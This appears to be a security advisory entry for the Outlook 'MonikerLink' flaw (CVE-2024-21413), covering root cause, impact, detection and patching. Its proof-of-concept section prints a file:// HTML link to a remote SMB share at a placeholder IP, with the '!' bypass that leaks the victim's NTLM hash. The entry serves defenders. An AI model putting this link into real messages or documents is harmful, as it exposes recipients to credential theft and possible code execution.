MonikerLink
- Product
- Microsoft Outlook / Office
- CVE
- CVE-2024-21413
- Disclosed
- 2024-02-13
- CVSS
- 9.8
- Auth
- pre-auth
- CISA KEV
- yes
- Affected
- Microsoft Office 2016, 2019, LTSC 2021 and Microsoft 365 Apps (Outlook) before February 2024 updates.
- Fixed
- February 2024 Patch Tuesday Office updates.
Summary
Check Point's Haifei Li found that adding an exclamation mark and extra text to a file:// link in an email bypassed Outlook's block on remote file links. One click leaks the user's NTLM hash to the attacker and opens the remote document outside Protected View, which can lead to code execution through COM/Office bugs.
Root cause
Outlook blocks file:// hyperlinks to remote shares, but a link like file:///\\attacker\share\doc.rtf!something is treated as a 'Moniker Link' and resolved through the COM MkParseDisplayName API instead. That path connects to the remote SMB share (sending NTLM credentials) and opens the document outside Protected View, allowing exploitation of COM/Office bugs.
Impact
NTLM credential leak and potential remote code execution when a victim clicks a link in an email (Preview Pane is also an attack vector).
Public PoC
<!-- blocked by Outlook: -->
<a href="file:///\\10.0.0.1\test\test.rtf">CLICK ME</a>
<!-- MonikerLink bypass (note the '!'): -->
<a href="file:///\\10.0.0.1\test\test.rtf!something">CLICK ME</a>Source: Check Point Research - MonikerLink
Detection
Search mail flow for hyperlinks matching 'file:///\\' containing '!'; watch for outbound SMB (TCP/445) from workstations to the internet and Word launched as a COM server by Outlook.
Mitigation
Apply the February 2024 Office updates; block outbound SMB/WebDAV at the perimeter.